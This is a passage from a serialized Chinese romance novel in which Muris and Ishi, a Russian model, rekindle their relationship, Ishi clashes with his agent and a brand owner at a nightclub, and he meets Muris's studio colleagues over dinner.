“我欺骗过你,当我们在北京的时候,我必须和你说一声抱歉。也仅限于道歉了,事已至此我很少再提‘后悔’一词。不过,接下来我要说的绝对诚实。”虽说如此,穆里斯并不像说的那样坦荡,直视对她来说仍旧很困难,这不利于狠心话的输出,理应杜绝。 她的目光落在伊实身后的飘窗上,一盆不曾开过花的仙人掌和几双悬挂在衣架上的干袜子。 “不知道你还记不记得我因为什么非要去挪威做孤魂野鬼,我的父亲,狗屎一样的人生,以及各种让我喘不过气来的东西。回想起来那时候我的脑子真是不太清醒,没有责怪的意思,我学会了不去责怪自己,包括过去的自己,只是陈述事实。不得不说,她虽然不清醒但比我有勇气得多。 “人类的认知在不同程度上表现出滞后性。那些日子里,我想通了更古老的日子在我身上的意义,正如我们不曾相见的这几年,我后知后觉地认识到那段日子对我来说意味着什么。” 余光蒸得热气腾腾,肺腑之言发酵再发酵,酸了。 “我和那时的我已截然不同了,伊实。我处理了一切我所认为的障碍,每天伪装成普通人,然后就这样了,没别的了。就像你搅乱了你父亲的俱乐部之后,定居挪威,难道不是一样的吗?远离讨厌的东西,有几个朋友,一两个谋生的手艺,就这样一直下去,难道不是你最初的设想吗?” 灵魂在时代面前是短暂的,时代在地球公转面前又是短暂的。 五年间她不断地修补,凭借对伊实的思念一点一点拆掉残次的零件,他换掉了她糟粕的过去。与此同时,她也陷入了“忒修斯之船”的悖论,她还是原来的她吗?崭新一定是好的吗? “是的,你说的没错。”伊实摩挲着左手无名指的第二骨节,静候一个不守时的满月,“你忘记了很多事,把我变成了书中的人物,知道我曾对你说过的我的生平,做成标签,却不记得你对我有过的真实感受。” “时间就是这样。”穆里斯惭愧地说。 “Time……”伊实低声喃喃,想到什么,摸出手机,给她看一段视频,是五年前被他录下来的免责声明。 穆里斯呆呆地和画面中的年轻女孩对视,她坐在地上,脸色苍白眼神里却有渴望,卧蚕厚重没有营养,嘴巴困惑地微张,眨巴的双眼就像流浪猫遇见沾了泥土的鱼肠。 这是她啊。 伊实重复播放了两遍,用俄语教训镜头外的自己:“就是你吧,讨人厌的家伙。 ” “什么?”穆里斯问,当时听不懂,此刻依旧听不懂。 “我说——”伊实终于捕捉到她的视线,“你方才那堆‘最初的设想’的发言,在你闯入我房子的那一天就不复存在了。我无法当作什么都没发生回到我妈的肚子里,因为再往前想想我就得是那男人的精。子,我宁愿撞破脑袋。” “……” “况且,全非什么长此以往,你怎么不往‘上帝啊这种生活真是没劲,给我来点乐子吧’方向猜呢?我那会儿除了喝酒就是陪布鲁克安度晚年,生活没寄托的时候你出现了,在我的家门口。你看着我的眼睛,看着——AllIneedisthatyouwantmeasmuchasIwantyou.” 愈响亮愈耳鸣,然而愈静默愈响亮,何尝不算一种相配。穆里斯在心里修了堤坝让水流得慢些,不可避免地要错过很多能量,可是也正因如此,伊实洪水般的注视与爱意才能毫无保留毫无收敛地倾巢而出。否则,总有一人要迷失自我。 所有的一切依然归时间掌控,他们还有时间吗? 穆里斯的肚子发出“没时间了”的控诉,今天到这个点为止她只吃了一顿饭,太阳下山很久了,九阴真经也快修炼到下卷了,快哭出来绝对少不了饿肚子的原因。 “告诉过你了吧,先吃饭。”伊实摆开一盒盒饭菜,顺嘴分享一闪而过的好点子:“我亲自一口一口喂你怎么样?” “别那样做。”穆里斯坐起来,捧起粥小嘬了两口。 “有没有什么喝的?他妈的这米饭有够黏的。”伊实问。 “冰箱里有瓶可乐,你去拿吧。”穆里斯瞥了眼一下子空掉一半的卤肉饭,不禁低声感慨:“好惨。” 伊实站在冰箱前,看看穆里斯的背影,又看看冰箱,兀的扬起嘴角,认可地拍了拍冰箱的肩膀,这位一米七的小兄弟,他还高它一个头呢。 “Heybuddy,她每次都会想起我吧?答案是yes的话,等下就亮灯。” 他打开冰箱门,亮灯了。 “你说对了,干杯。” 他关上冰箱门,摆正上面的维京人冰箱贴。 穆里斯不喜欢吃皮蛋但爱吃皮蛋瘦肉粥,这让她在开胃的路上走得一帆风顺。她用指骨敲敲桌面,对伊实说:“这张桌子见证了我的工作,我的晚餐,还有我的呕吐物。” “怎么个事?”伊实问。 “有一天我特别想喝酒,但我不如你懂酒,确切地说,压根不懂,买了一堆酒,还有烧烤,兑了一晚上,结果就是,进我肚子里没多久,就全吐出来了。”穆里斯轻描淡写地讲述,只有这样那些经历听起来才更加客观,她接着说:“我总是突发奇想地蹦出个念头然后立马兴奋地尝试,灰溜溜地失败之后又立马变得冷若冰霜。我真的很怪。” 即便她在讲一个肮脏的东西,伊实的食欲也丝毫没被影响,还是吃得很香。 “你告诉我你已经没有自杀念头了。”他说。 “当然,不过那反而是我最美丽的部分,没有执念的我只是个无聊的疯子。”穆里斯摊开清晰的自我认知,已经在庸于常人这一事实上痛彻心扉过一阵了,她的声音十分平稳。 伊实放下筷子,“我找的也不是一心向死的穆里斯。” 虽说他从一心向死的穆里斯那儿趁虚而入有点卑鄙,但有何不可呢,他对她没有任何抵抗力。 “让我知道你曾毫无保留地展现在我面前,哪怕你把车开进田里,我也只恨我不在场。” “不。”穆里斯打断他,“你算算四十天在五年里的比率是多少?” “根据你接下来要说的话,我的回答是百分之百。”伊实先发制人。 穆里斯只好多刨出点心血给他看,“我承认,让我有想法活下去的人正是你。当我瘸了,不能走路了,我满脑子都是快点站起来,你那么高,那么……我必须站起来。我失败了,伊实,我失败了。我发现我还是想着逃避的时候我就已经失败了。我没有爱人的能力,伊实。也许我现在应该掉几滴眼泪,但我吃饱喝足后脑子灵光,说的都是事实,事实有什么好值得掉眼泪的呢?你能理解吗?” 穆里斯忽略了,过于悲痛的境地,也是掉不出眼泪的。窄门无法被形容,已然成为她的避难所。 “我会变成一个泼妇。说不准,或者是死掉的小鸟,内脏被鬣狗叼走。正因为我一度视你为榜样,所以不想让你看到这些。”她说。 伊实挪过去,抬起她的左脚放在大腿上,轻轻揉着她的脚踝,那里创伤分明恢复得很好。穆里斯试着挣脱,在悬殊的力量面前败北。她的脚掌和他的手心一样大。 “还记得我母亲吗?虽然她从未和你打过照面,但你曾经因为她闹过一次别扭。”伊实说,习惯性地上滑去捏她的小腿肚。 “我的学习成绩从小就不好,不如说得罪了学校的老师,A基本不可能再落入我的手中,学校自始至终都是他们建造的一个大型主观游乐场。因为我总拿着C和一身泥土回家,我妈认定我是个笨孩子。不过她完全不在意我的智商,她很爱她的儿子。另一方面她又绞尽脑汁地想让我理解她的言语,神学佛学神秘学,各种花里胡哨的主义,以及厚厚一本哲学笔记,她担心我理解不了,每次讲完一个句子后面都跟着另一个比喻句子。是的,我的确理解不了,任谁来了都理解不了,感觉像是以前的人闲出屁来了非得造几个词来擦屁股。总之我真的理解不进去,但我始终待在那不走,听她讲完,为的是当她用面包做比喻的时候拿出真的面包给她看,用苦杏仁味做形容的时候拿出真的杏仁酱让她尝尝。” 他吻了吻穆里斯的膝盖。 “我不会走的,穆里斯,我不会走,我会听你讲完,然后让你见识真正的爱,可以摸可以尝,可以看得见的爱。” 窄门无法被形容,已然成为穆里斯的避难所……无法被形容,竟然可以被拆。 穆里斯再也说不出可靠的建设性内容,只能木讷地重复:“我没有爱人的能力,不明白吗?他们说的喝咖啡和做。爱在我听来没什么两样,我不能快速做出反应,无法专注,不明白吗?” “来爱我吧。”伊实抬起头,“专注地,爱我。” “这到底是什么意思?” “挤占咖啡,成为你心目中更重要的角色。” “不止是咖啡,还有……” “是的,不止是咖啡。只要你爱我,你就不会想别的了。” 第53章 第53章你这样容易得罪人 依赖听上去不像成瘾的代名词吗?紧随其后的是惊鸿一瞥死在陈芝麻烂谷子手里。在她说不出拒绝的那一刻起,一场送葬仪式悄然开始。起初是因为在这泱泱大国找不到立足点她才把全部精力投入上层建筑的,大富大贵幸福美满她早就不关注了,幻想和现实好不容易达成了微妙的平衡,如今一句有关爱的邀请搅得她魂不守舍。她这是对他没辙吗?她这是对自己没辙。 “言不由衷”的牺牲品,穆里斯将用一整个前半生去看透。 她点亮浴室的灯,对着镜子抚摸脸颊,随后束发扎起马尾辫,双手从前胸摸到后背,又解开头发,双手撑在洗手池上,凑近了细看——依然分辨不出美丑。 当她不由自主地疑惑“他喜欢我什么?”的时候,一股担心受怕的情绪神不知鬼不觉地在骨骼里蔓延。被一通工作电话叫走之前,伊实捧起她的下巴亲吻她的额头。难道是容貌?明明找不出一个有特色的地方。还是说身体?然而她不懂什么技巧。又或者花言巧语?可她有时候会变得十分无趣。 好了,停,不 要再想了。 穆里斯及时止损,脱掉全身的衣服一头钻进热水里,她没有蠢到把刀尖对准自己还一边加油打劲。她重新归于平衡——说白了就是逃避,没办法,如果她还想见到明天的太阳,她必须学会在夜里得过且过。 伊实坐上经纪人的车,有关饭碗的警告源源不断地挤进耳朵。他料到三天两头地违约不会有好下场,就算如此他还是毅然决然地当个职场混世魔王,只做想做的事,当周程表是一坨屎。 “我真的不想管那么多,李,你说过计划赶不上变化,临时被撤下来是常有的事,怎么角色对掉就不行了?如果一顿饭就能扭转乾坤,饭桶也能选上总统。”伊实懒洋洋地靠在椅背上,心思还沉浸在穆里斯呆愣的表情里,给他多一点时间,一定能引诱成功。 李用力踩油门,超越前方的凯迪拉克先一步开上高架桥,心里憋着一团火:“骄兵必败!你不在乎是因为我给你的太多了!这个月你变得懒散至极,失约了三场走秀活动,后果是什么我难道没有告诉过你吗?” 今晚原有一桌以赔礼道歉为目的的友谊饭局,据说是桌大餐,一般人约不上号的地方,伊实很感兴趣便答应了下来。然而工作结束后他彻底抛之于脑后,转眼间投靠卤肉饭和美人。如此轻率的处事态度上了法庭恐怕要把法官的帽子掀翻。 红灯从八十秒开始减少,李喋喋不休:“我没有想干涉你的私人生活,但你总得考虑我们的感受吧?你看上M工作室的负责人,好,我不阻止你,甚至支持你,没想到你直接主次不分。你这样真的让我很难办,伊实梅尔老大,好好听我的安排行吗?当初是你跟我说你很需要这份工作,你看你好不容易火起来了,不要糟蹋了现在的地位行吗?” 伊实转着两根大拇指,似乎在思考对策,良久而言:“没有好不容易,我的仕途一帆风顺。” “我真佩服你。”李被气笑了,他在背后做的努力竟然一点儿没入这尊大佛的眼里,今年有没有机会当选公司金牌经纪人另说,最憋屈经纪人非他莫属。 伊实虽说臭不要脸但绝没有到狼心狗肺的地步,“李,我要休息一段时间。”他说。 “休息?你没在跟我开玩笑吧?”李又加快了车速,“黄金期啊我的好哥哥,说干就干,说不干就不干,你可太崇尚自由了!” “你的意思是,你不同意?” “绝不。” 伊实解开安全带,降下车窗。李快速转头看了看他,问:“你要干什么?” “跳车。” “你神经病啊!”李爆粗口,要知道,他从小到大都是个好脾气的三好学生,什么职场好赖话什么人情世故都是掌中之物,只是运气不太好,确切地说,非常不好。 伊实吓唬人而已,他抬起胳膊肘搭在车窗上,虚指不远处一栋闪着金光的大楼,说:“就是那里吗?是什么地方?看起来像拉斯维加斯的赌。场。” “Anightclub.”李庆幸他没有继续有关“休息”的话题,接着回答道:“柳夫人听说你也喜欢喝酒……” “等等,”伊实皱起眉,“什么样的俱乐部?卫生间的地上到处是condom的那种我死也不会去——幸运,从这跳车最多蹭破点皮。”他探出半颗脑袋往车后方瞧。 李作呕吐状,当即否定:“当然不是!老天,你都经历了什么?!” “我对夜总会没有一点好印象,那里的每一滴酒都是串味的,地板还很滑,盼着人摔倒似的,小费高得惊掉下巴,然后历史重演,被下巴绊倒摔在地上。”伊实说,在马森俱乐部真实的所见所闻足够令他产生不可磨灭的阴影。 “想太多了兄弟,它有规矩,规矩明白吗?”车子驶入停车场,李再次提醒今晚的重点:“你已经放了她一次鸽子,我说你见义勇为去了,她不怪你,她很大度,只要你别再闯祸。” “她?谁?”伊实跟着他下车,似乎仍在状况外。 “Mrs.Liu!长点心!”李披上外套,拳头怎么也对不准乱飞的袖口,“在场还有许多业内名流,结交几个对你来说只有好处没有坏处。” 这让伊实回想起十几年前和布鲁克一起去巴黎参加企业家宴会,他通常称之为“让我掂量掂量你兜里有几个钱”宴会。彼时他以布鲁克义子的身份被介绍给他人,由于大腿绑着衬衫夹,他实在笑不出来,冷酷得像个保镖,招致不少误会。从此以后他对名流有了进一步认知,那种东西,只会让他走起路来更不方便。 “干完这一票我就休假,我认真的,我的脚趾已经累坏了。”伊实走进转门。 “别说这些了,把你的头发梳到后面去,显得精神。”李兼顾商品的质量和外表,谨小慎微,有他在没有谁能从自动贩卖机底下找出一枚硬币。 老实讲,伊实没去过拉斯维加斯,吃喝玩乐的日子顶多停留在百发百中的飞镖和装满啤酒泡沫的牛仔帽,那都算是相当新鲜的体验了。走进包房,比锃亮的大理石砖先一步闪瞎眼睛的是站在屏幕前上身半。裸的男模特,伊实的耳朵也跟着坏了,他不信有人展背能展出轮胎被扎破的声音,那都是什么人?伊实鄙夷地多瞧了两眼,很明显那哥们已经走上了碳基生物改硅基的道路。 房间内十几道视线并没有因为突然多出两个人而有所转移,生态平衡了似的稳固不变,暖空气依旧从下往上流。坐在沙发中央也是整个空间中央的男人陶醉地唱歌,他身旁的女人便是柳夫人,她朝迟来的二人挥手。 李嬉皮笑脸地上前致歉,伊实从没见过他这般势利眼的样子,笑容灿烂看起来不说疯癫也有精神错乱的嫌疑。不管怎样,他突然很想找个出气筒。 也不知道耳边叽里呱啦一通汉语在搞什么明堂,伊实坐下没有两秒钟屁股就开始痒,是柳夫人的问候吸引了他的注意。 “你叫什么名字?”她用俄语问道,标准得令母语者心旷神怡,伊实不免露出意外的神色。柳太太莞尔一笑:“我在俄罗斯留过学。” “阿列克谢-伊万诺维奇-梅德韦杰夫。”伊实说。 轮到柳夫人一愣,他说他叫:张伟。 “真的吗?你看起来不像。” 毕竟这不符合以貌取名的规则,所有阿列克谢都不会同意的。 伊实撇撇嘴:“录用我之前,你应该看过我的资料。” 柳夫人喜颜更盛,故作恍然大悟:“对,我记起什么来了,你不是个纯粹的俄罗斯人。” 伊实不形于色地点点头,实际上内心叫嚣着:和你们这些高贵纯种人拼了。他不太想聊下去了,隔壁男人的歌喉正在上刀山下火海,而李明明听不懂对话却还是摆着假笑坐在他和柳夫人中间当茶宠。 柳夫人自有办法纠正他的厌世脸,摆摆手叫来助理,几分钟后三名服务生端着满是好酒和下酒零嘴的托盘进来。伊实总算看见一件好东西,心情有所缓和,乐意分享几条情报,爱杀谁杀谁吧,如果这是风起云涌的战场的话。 他刚要来一杯“烈焰之吻”重焕新生,手伸出去的那一刻被人按了下来。柳夫人的长指甲戳在他的手背,她眉眼弯弯地看着他:“我请你喝酒,你得答应我一件事。” 伊实有所察觉,用脚踢了踢李,直接问了出来:“你到底收了她多少钱?” 李的脸色顿时涨红,显然这时候再堵住那张嘴已经来不及了,他咬牙蹦出几个单词:“你在说什么?!” 他一个劲的使眼色:坐在这里的是甲方,是机遇,是指明灯!不是什么下流话都可以放出来的! 伊实皱眉,漫不经心却语调犀利:“我成了陪酒郎,在三十六岁的时候,拜你所赐。” 话音未落柳夫人插了一嘴:“你万万不能往那方面想。”她对英语也是手拿把掐,“我是商人,谈合 作而已。“她主动提起那杯烈焰之吻放进伊实的手里,从容不迫道:“每个人都很看好你。伊实梅尔,对吧?我不会看错人,你值得更大的舞台。” 伊实眯起眼盯着她琢磨,想不起来她是哪家货色,也没印象自己成为了哪家品牌的战利品。 “你卖什么来着?”他问。 李的心早已千疮百孔,站起身以解手的名义出去了,他需要花半小时的时间思考怎么收拾烂摊子。 柳夫人奇迹般不在乎伊实的粗鄙,耐心解答,今年春季她在香港时装周上一眼相中了他的条件,递出橄榄枝,在七月底的内衣系列拍摄中他们还见过面呢,AMN怎么说也是风靡全球的奢侈品牌,就算不记得她,也该记得是谁给的钱最多吧? 伊实摊摊手:“我从来不看。” 工资卡只要不见底,对他来说就是家产万贯。 “你的意思是,你并不缺钱?”柳夫人收敛了嘴角,略显严肃。 “不缺。”伊实说,吞下一口酒。 “那么,你有一个模特梦想。” 伊实还是给出了否定的答案:“不,说实话,我不是很乐意照相。” 柳夫人一头雾水,“你为什么要当模特?你的经纪人总是焦头烂额,很操心。” “他喜欢数秒过日子,与我无关。”伊实实在忍不了,指了指前面正在扭腰的男模,说:“这种的场景要维持到什么时候?” 在场除了柳夫人还有几张更为年轻的女性面孔,坐在流氓歌手旁边聊天鼓掌,另外一堆玩扑克牌的群体看也不看国王皇后牌以外的东西。总而言之,整个房间十分割裂。 “哦,我们这里也有女孩,”柳夫人往后靠在沙发上,“要是你早点来吃晚餐的话,我就能知道你喜欢什么类型的了。” “那我他妈的等下是不是也要上去供人取乐一番。”伊实说着F开头的单词,把酒杯放回桌上,好似什么烫手山芋。 “你不一样。”柳夫人沉吟片刻,眼角的皱纹很有故事但显然是颠来倒去瞬息万变的那种,“三十六岁才出道,只此一人。若不是遇上好人,你连站上去的资格都没有。” “你在夸自己还是怎样。” “说得直白你又不爱听了,只要你有点远见,就知道好好听我说话有多么重要。”柳夫人自顾自地与他喝过的酒杯干杯,玻璃碰出清脆的响声,“我对你很感兴趣,不止是作为一名模特,而是你身上有很多错误,需要人来纠正,我看不下去,顺手做件好事罢了。” 伊实终于正眼瞧她,她的手指上没戴戒指,耳环和项链倒是一等一的耀眼,他在心里衡量要不要为了多喝几杯酒而跟她继续胡扯下去。 “什么错误?”他问,拿起另一杯伏特加,让喉咙保持灼热,“我能说出一个,被已婚女人搭讪算一件。” 柳夫人一顿:“我没说我结婚了。” “哦,丈夫跑了也差不多。” “你这样容易得罪人。” 伊实一笑:“酒是好酒。” 他难得克制住了贪杯的习惯,塞了几颗夏威夷果进嘴里,发出格楞格楞的咀嚼音,听起来就像穿着陈旧的皮靴踩在通往阁楼的木头楼梯上。 第54章 第54章要来的不是你老公,我走…… 这栋大楼的夜晚长得要命,一幕结束了下一幕立马接上,如果没有针对审美疲劳的抑制剂,所谓微笑到头来全是逢场作戏而已。过了一小时左右,伊实逐渐犯困,就地打上一盹刻不容缓。至于柳夫人“眼界狭隘”的高调劝说,他左耳朵进右耳朵出在大脑皮层滑过,相当的意识流,社交的重担他从未挑起过。他阖上眼,心里门清,或许等他再次看见黎明的时候,他的某些头衔已经被炒鱿鱼了。 李喝了很多酒,他原本没想沾酒,经纪人是他司机是他,一边胡编乱造一边赔笑脸的也是他。柳夫人和主理人委婉地回绝了让伊实参加冬日时装周的资格,这很严酷,说明他再次竹篮打水一场空,正规教育偏离了原有的轨道。 而他没办法把气撒在伊实身上,正如守株待兔的农人不能怪罪迟迟不出现的兔子,更别说他鄙视农人又想当农人,所以他只好喝闷酒,为了喝回本一粒花生米也不舍得掺合。 直到凌晨三点钟,李被搀扶着坐上出租车,在车门关闭前他神智不清地扯住伊实的衣领,拳头紧紧地攥着,反复嘟囔:“我的车子,停车场,要交很多停车费。” “钥匙给我,我找人把那堆破铜烂铁弄出来。”伊实掰开他弱不经风的五指,谁料他一只手被掰开另一只手又抓了上来。“松手。”他说。 李的半个身子靠在车门上,明明连头都抬不起来了,他却死活不放手。 “我还以为我终于幸运了一回呢。”他对着大地感叹,潜意识里他抓住了救命稻草,不料稻草其实是荆棘,“我还不够努力吗,我都做到这份上了?你能不能可怜可怜我?我太想成功了,可每次都差一点点。我妈说我做事太老实,难听点就是笨,不肯走关系读名校就算了,工作了也不知道讨好顾客。我错了啊,我这不是学会了吗?铁骨铮铮都是放屁我明白了啊,我这不是学会了吗?为什么还是办不到?” 沾满酒气的中文更不好懂了,伊实只能从他的哭腔判断出来这些话应该是在抱怨。伊实伸手摸进他的口袋,掏出钥匙,随后施加了一点蛮力,总算完成了杀人抛尸的任务。车门一关上司机立马踩下油门一骑绝尘,那句“吐车里两百”消散在夜色和李的眼泪里。 在那之后,李单方面和伊实冷战了整整一周,所有关于伊实的活动都交给了见习经纪人和助理。这片职场规训他的方式,他无意识地传承了下去,成为巨大轮回中一个终会变得锈迹斑斑的零件。 伊实拍完杂志去花店买了一束红玫瑰,花瓣上还奉着水,他捻下一珠,拭在舌尖,不确定到底是花甜,还是烟抽多了尝什么都甜。他抱着花束坐公交,确切地说站公交,由于体格高大,怀里还有一抹艳丽之色,他引人注目到后视镜里的那对眼睛也没放过。 他记忆力很好,走过一遍的路能自己走第二遍,于是站在房门前,他摘下口罩,摁响了门铃。 穆里斯透过猫眼率先被那束玫瑰花亮了一眼,她结结实实地咳嗽两声,戴好口罩后打开门。 “为什么又来了?”她问。句式奇葩,配上苍白的额头以及沙哑的嗓子,像一出哥特式连环画的台词。 “为了照顾我流离失所的宝贝。”伊实说,晃了晃手中的玫瑰花,“再试试罗曼蒂克的招数可不可靠。” 穆里斯的喉咙十分痒,“没人参加葬礼拿的是玫瑰花。” 伊实弯下腰端详她露出来的一双眼睛,问:“昨晚没睡好?” “不止是昨晚。”穆里斯错开一条道,让眼前的大件进门,否则邻居要有意见,投诉她占用公共资源。 茶几上的笔记本电脑在昏暗的房间里泛白光,在顶光发威的一瞬间暗淡下去,一并带走穆里斯的工作氛围。她喜欢在阴暗的角落被指认为蛀虫,最后以益虫的身份亮相,只剩这么点可怜的野心了。 “晚餐?”伊实环顾一周。 “还没。” “看来你没搞清楚重中之重是什么。” 穆里斯上前抱走他的花,寻找可以放的地方,一边说:“没有那种东西,我只知道,你不能在这久待。” “为什么?”伊实跟着她在房间里绕,“你要把它放洗手间吗?丢进马桶里冲掉?” 穆里斯反应过来她有 点儿晕头转向了,最终决定把花放在灶台。 “好吧,被吃掉的结局我比较能接受。”伊实握住穆里斯的肩膀,让她转过身,说:“Letsgooutfordinner.” “不是我混蛋,但我必须告诉你一声,今晚我有约了。”穆里斯想了想还是摘下了口罩,嘴唇由于缺水出现了干裂的细纹,她无意识地用舌头舔了舔,拨弄到一块死皮。 伊实拧起眉间的那块肌肉,“和谁?你可不像要出门的样子。” “所以是他们来这里。”穆里斯在手机上看时间,“我的伙伴们。改天再和你聊吧,等我恢复健康,至少不再咳嗽。” “拒绝,我要插队。”伊实自说自话,脱掉暖和的外套自我招待,“另一方面我想见见你的人,如果他们没有我的本事,今晚我就要在这过夜。” “拜托,你以为我是怎样的弱不禁风,我对自己的身体有数,最后一口气我能咽上个几十年。”穆里斯总是将恐吓塞进正能量的壳子里。 “我想和你多呆一会儿。” 穆里斯顿了顿,“我有说改天。” “但我指的是每一天。”伊实张开手臂,“比如你收了花以后应该过来跟我拥抱,而不是赶我走。” 花瓣上的露水已经蒸发得一干二净,这是冬天的代价,一旦靠近燥热,就会变得缺水。穆里斯转身去倒了杯水,猴急地喝下,透过冰凉的温度她清晰地感受出食管和胃肠的形状,当它到达上腹,她恰好想出措辞。 “如果我说,用约会取代聊聊——你的看法是?” 伊实翘起一头眉毛,“约会?” “是的,但不包括性。爱,那很影响人的判断。” “也就是说,你不再躲着我了?”他慢慢走近。 “不首先,冷静的思考和躲避是两码事。” “没人要求你必须冷静思考,我倒希望你相信直觉。约会是思考的结果还是直觉?” 穆里斯被完全圈在一对臂弯之中,她仰着头,眼底没有畏惧和退缩,“理论上它是赌局,直觉上它是冒险。” 伊实笑了:“为什么?我吃了你怎么着的。” “会比这更可怕。”穆里斯反手撑在桌面,向后靠,“一定要离这么近说话吗?” “我现在有这个资格了不是吗?”伊实得一寸近一尺。 穆里斯像一条泥鳅似的往下滑,安全出口被一条长腿堵住了,她只好再站起来,挤出一团假笑:“亲爱的,让我出去。” 这个称呼令伊实无比受用,他慢条斯理地挽起袖口,问:“他们什么时候来?” “马上。”穆里斯将头发往后捋,重新扎了个低马尾,露出光洁的额头。她从储物柜里取出几张软座垫,摆在茶几周围,抬眼见伊实没有要离开的意思,表情疑惑。 伊实帮忙将桌子移到宽阔的位置,坦言:“要来的不是你老公,我走什么?” 穆里斯伤脑筋地怪叫一声:“你怎么不讲信用?” “喔,你可没说这是交换条件。”伊实活动肩膀,仿佛面前有面镜子,“我很见不得人吗?你的朋友有权知道你在和谁约会。” “一个跨国袭击无辜少妇的俄罗斯暴徒。” “花里没有手榴弹,我兜里既没手。枪也没烟盒,而且你刚刚才答应和我约会。”伊实盛气凌人地盘腿一坐,“今晚一定是个有趣的夜晚。” 穆里斯再次看了眼时间,她要么在二十分钟之内赶走这位狠角色,可是她不擅长应对野生动物,它们通常迅猛且不讲道理,要么花时间准备以“你们的老板把男人带回家了”为主题的演讲稿,然而那样会让她早生华发。 无论是故作深沉还是刻意经营出正在被爱的模样,她都做不到。如何介绍一罐半成品黄桃罐头,说它过期是诽谤,说它未来会变得好吃的,是虚假宣传。 工作室的伙伴们没有起哄的臭毛病,没想到有一天通情达理也能让她为难起来,祝福对她来说太滚烫了,她不敢把亲密关系暴露给他人看,这和精神裸。奔没区别。 “伊实。” 穆里斯眼神忽上忽下,做了一个大胆的决定,预支约会的权限。她将膝盖跪在伊实的大腿上,按倒他的胸口,埋下脸在他的脖颈间轻啄。 “你,不是,空手,而归,可,还,满意?” 嘴唇摩擦在皮肤上格外痒,伊实不怕痒,却很快对她的糖衣炮弹投降,哑声:“Trickytricky,拿这个来糊弄我。” “以防你以为我说的是假话。” 穆里斯的呼吸很轻,像一层薄纱漂浮在肌肤上,他的汗毛兴奋地竖起。伊实抬手抚摸她的后脑勺,亲了亲她的头发。 “我会输给你一万次。”伊实喃喃,尽量让这一刻的温存延续得久一点,用触觉,用嗅觉。 在纵火犯本人也引火上身之前,穆里斯及时抽开身,自信满满地说:“这是交换条件,成交吗?” “其实我想看看等下有没有更高筹码。”伊实看着她笑,语气十分徜徉。 穆里斯作怒:“贪心之人最后什么都得不到。” “好吧,成交。”伊实站起身,顺手提溜起穆里斯,在她脸颊上交税,“等你的电话。” 穆里斯松一口气,主动替他穿衣。 这时,门铃响了。 第55章 第55章别把自己也给骗了,胆小…… “真是见鬼。”穆里斯用力拍打伊实的臂膀,如果个子更高一点她的巴掌将落在他的后脑勺,“你有没有试过从十五楼跳下去并且毫发无伤?” 伊实高挺的鼻子发出一哼声的冷笑,未如她所愿地展示强健体魄,而是越过她去开门。 门外的阿吉和吕成面对逐渐展开的门缝正要来个惊天地泣鬼神吓走世间一切疾病的招呼,结果第一个音上就卡了壳。二人愣在原地尬色涌现,退一步确认门牌号,连续“这”了半天问不出个所以然。 ein.”伊实比户主从容,轻快地答道,只不过他从不对陌生人咧嘴以表明友好身份,况且他对亚洲人还有点脸盲。 穆里斯挤开他,在对照物下显得十分纤细的两条胳膊把他钳制到角落里,这个手法她是跟楼上养哈士奇的户主学的,在电梯里那只可怜的大家伙前脚没有落地的机会。 “来吧!别怕!”她勉强地笑笑。 吕成很快认出伊实,即使造型与那日不同,这双仿佛世界大战硝烟弥漫的蓝眼睛绝对错不了。彼时的高档白衬衫换成了黑色的紧身高领毛衣,头发恣意蓬松地向后梳。他不认为模特无论何时何地都是一副精修画,可伊实的确英俊得出类拔萃。 “啊!他是那个!”阿吉紧接着加载完毕,由于双手提着慰问品,只能用鬼鬼祟祟的眼神指来指去,“我刚修完他的照片呐!” “是是是”穆里斯接过保温壶,用脚关门,瞪了伊实一眼,“先别问,等会儿跟你们解释——你们都带了什么?” 保温杯里是药膳鸡,吕成手上有小菜和工作室其他人买的水果。不出意外的话,这顿晚餐他们应该会交流养生心得和疫情局势再顺便调侃一下奇葩甲方。要知道,“不出意外的话”本身象征着一种意外,墨菲严选。 “多双筷子的事”则是老祖宗严选。桌前,穆里斯低头用胳肢窝掩盖咳嗽,连疾病都在给她加油打气。她一只手重重地搭在伊实的肩膀上,心想视死如归也是隆重的一种表现。 “我”起势,人称错误,遂改,“他”门槛太高,无从下嘴,“就是你们想的那样。” 汉语一窍不通的伊实跟着她点头。 “”阿吉和吕成面面相觑。“虽然但是哈,也太快了吧?”吕成说。他们的合作前后加起来两个星期都不到。 “这怎么说呢,以前就认识。”穆里斯不把模棱两可当保护色就不行。 “感觉不只是认识。”吕成戳穿。 “是是是”穆里斯给每个人盛汤,既可以让她忙碌起来,又可以暂时堵住他俩的嘴。 “我以前在国外生活过一段时间,很早了,认识你们之前,那时和他认识的,后来不得不回国,没办法就分了。” 穆里斯还想用几句黑色幽默自嘲一下,就像她向外人介绍自己的精神疾病那样轻描淡写,可她的灵感一时间生锈了,想不出一个句子。或者另一种可能,她本人并没有于此释然。 “没听说过。”吕成又操起了捧哏的业余爱好。 阿吉比他知道的多一些,比如穆里斯的情债。“真好啊,你们什么时候复合的啊?拍摄那天他背你走的时候?还是你去Y公司谈合作的时候啊?你又闷声干大事。” 穆里斯吸了吸热化了的鼻子,不敢告诉她其实是刚刚,而且过程可谓颠三倒四七荤八素。无所谓,她会蒙太奇:“没多久。” “他真听不懂中文?”阿吉频频偷眼看去。 “听不懂。”穆里斯目不斜视地给她验证,“坐在我旁边的男人是傻逼。” 没反应。 “看吧。” “有点儿狠了姐。”吕成哈哈笑。 伊实侧身凑近穆里斯的耳朵问:“你们说了什么?” “没什么——” 只是跟他们说我贪图你的美色。 “介绍我们的关系。”外人还是限制了穆里斯的发挥,不然有很多混账话可以讲。 吕成大大方方地用中式英语问道:“Bro,你是为了她来中国的吗?” 穆里斯背后一紧,有过学生会主席和乡村支教经历的人就是不一样,立马跟人称兄道弟了。 “你干嘛,有这闲工夫看两遍泰坦尼克号不好吗?”她急急地打断。 吕成挡住嘴向右边的阿吉挤眉弄眼,做口型:害羞了。 “Yea.”伊实答,“Sheleftwithoutasign,soIcameheretoseekjusticeformyfive-yearcelibacy.” 穆里斯用筷子戳开一块鸡胸肉,插嘴:“公道?他们会认为你是来报复我的。” “我倒是想绑架你。”伊实不以为忤,比这更疯的念头有的是,无论用什么形容也到不了顶。他将胳膊肘撑在桌面,放慢语速询问二人:“你们听得懂英文,对吧?棒。她这几年交过男友吗?或者女友。” 外语水平更胜一筹的好处是未等二人有所反应,穆里斯就能亲自下场辟谣:“当然没有了。为什么不直接问本人?” “你很会阉割事实,我留个心眼。” “哇,你聪明穿地心了。” 穆里斯正式邀请吕成,给老外翻译翻译,什么叫光明磊落两袖清风。 